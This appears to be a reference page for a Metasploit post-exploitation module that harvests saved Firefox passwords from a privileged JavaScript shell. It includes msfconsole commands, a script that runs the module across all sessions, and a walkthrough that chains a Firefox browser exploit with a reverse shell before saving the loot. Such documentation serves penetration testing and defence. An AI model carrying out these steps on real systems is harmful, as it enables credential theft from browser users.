Firefox Gather Passwords from Privileged Javascript Shell - Metasploit


This page contains detailed information about how to use the post/firefox/gather/passwords metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Firefox Gather Passwords from Privileged Javascript Shell
Module: post/firefox/gather/passwords
Source code: modules/post/firefox/gather/passwords.rb
Disclosure date: 2014-04-11
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module allows collection of passwords from a Firefox Privileged Javascript Shell.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/firefox/gather/passwords

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/firefox/gather/passwords
msf post(passwords) > show options
    ... show and set options ...
msf post(passwords) > set SESSION session-id
msf post(passwords) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/firefox/gather/passwords")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This post-exploitation module allows the collection of saved Firefox passwords from a Firefox privileged javascript shell.

Verification Steps


  1. Start msfconsole
  2. Get privileged javascript session
  3. Do: use post/firefox/gather/passwords
  4. Do: set SESSION <session id>
  5. Do: run
  6. You should be able to see all saved Firefox passwords in the loot file in JSON format

Options


  • SESSION - The session to run the module on.

  • TIMEOUT - Maximum time (seconds) to wait for a response. The default value is 90.

Scenarios


Obtain a privileged javascript shell and gather saved Firefox passwords

To be able to use this module, a privileged javascript shell is needed. It can be obtained by using a javascript privilege exploit like exploit/multi/browser/firefox_proto_crmfrequest, exploit/multi/browser/firefox_proxy_prototype or others. In the example case of the firefox_proto_crmfrequest exploit use set TARGET 0 to use a javascript shell.

  msf > use exploit/multi/browser/firefox_proto_crmfrequest
  msf exploit(firefox_proto_crmfrequest) > set TARGET 0
  TARGET => 0
  msf exploit(firefox_proto_crmfrequest) > run
  [*] Exploit running as background job.
  msf exploit(firefox_proto_crmfrequest) >
  [*] Started reverse TCP handler on 192.168.2.117:4444
  [*] Using URL: http://0.0.0.0:8080/nbHsSeXAfjr
  [*] Local IP: http://192.168.2.117:8080/nbHsSeXAfjr
  [*] Server started.
  [*] Gathering target information for 192.168.2.117
  [*] Sending HTML response to 192.168.2.117
  [*] Sending HTML
  [*] Sending the malicious addon
  [*] Command shell session 1 opened (192.168.2.117:4444 -> 192.168.2.117:35100) at 2016-10-08 00:33:09 +0200

  msf exploit(firefox_proto_crmfrequest) > use post/firefox/gather/passwords
  msf post(passwords) > set SESSION 1
  SESSION => 1
  msf post(passwords) > run

  [*] Running the privileged javascript...
  [+] Saved 1 passwords to /home/user/.msf4/loot/20161008003433_default_192.168.2.117_firefox.password_070261.txt
  [*] Post module execution completed

The loot file then contains all passwords in json format, like so:

  [  
     {  
        "password":"1234",
        "passwordField":"pwd",
        "username":"admin",
        "usernameField":"log",
        "httpRealm":"",
        "formSubmitURL":"https://example.com",
        "hostname":"https://example.com"
     }
  ]

Go back to menu.

Msfconsole Usage


Here is how the firefox/gather/passwords post exploitation module looks in the msfconsole:

msf6 > use post/firefox/gather/passwords

msf6 post(firefox/gather/passwords) > show info

       Name: Firefox Gather Passwords from Privileged Javascript Shell
     Module: post/firefox/gather/passwords
   Platform: 
       Arch: 
       Rank: Normal
  Disclosed: 2014-04-11

Provided by:
  joev <[email protected]>

Compatible session types:

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.
  TIMEOUT  90               yes       Maximum time (seconds) to wait for a response

Description:
  This module allows collection of passwords from a Firefox Privileged 
  Javascript Shell.

Module Options


This is a complete list of options available in the firefox/gather/passwords post exploitation module:

msf6 post(firefox/gather/passwords) > show options

Module options (post/firefox/gather/passwords):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
   TIMEOUT  90               yes       Maximum time (seconds) to wait for a response

Advanced Options


Here is a complete list of advanced options supported by the firefox/gather/passwords post exploitation module:

msf6 post(firefox/gather/passwords) > show advanced

Module advanced options (post/firefox/gather/passwords):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   JsIdentifiers                   no        Identifiers to preserve for JsObfu
   JsObfuscate    0                no        Number of times to obfuscate JavaScript
   VERBOSE        false            no        Enable detailed status messages
   WORKSPACE                       no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the firefox/gather/passwords module can do:

msf6 post(firefox/gather/passwords) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the firefox/gather/passwords post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(firefox/gather/passwords) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No passwords were found in Firefox.


Here is a relevant code snippet related to the "No passwords were found in Firefox." error message:

36:	
37:	        if passwords.length > 0
38:	          file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json)
39:	          print_good("Saved #{passwords.length} passwords to #{file}")
40:	        else
41:	          print_warning("No passwords were found in Firefox.")
42:	        end
43:	      rescue JSON::ParserError => e
44:	        print_warning(results)
45:	      end
46:	    end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • joev

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.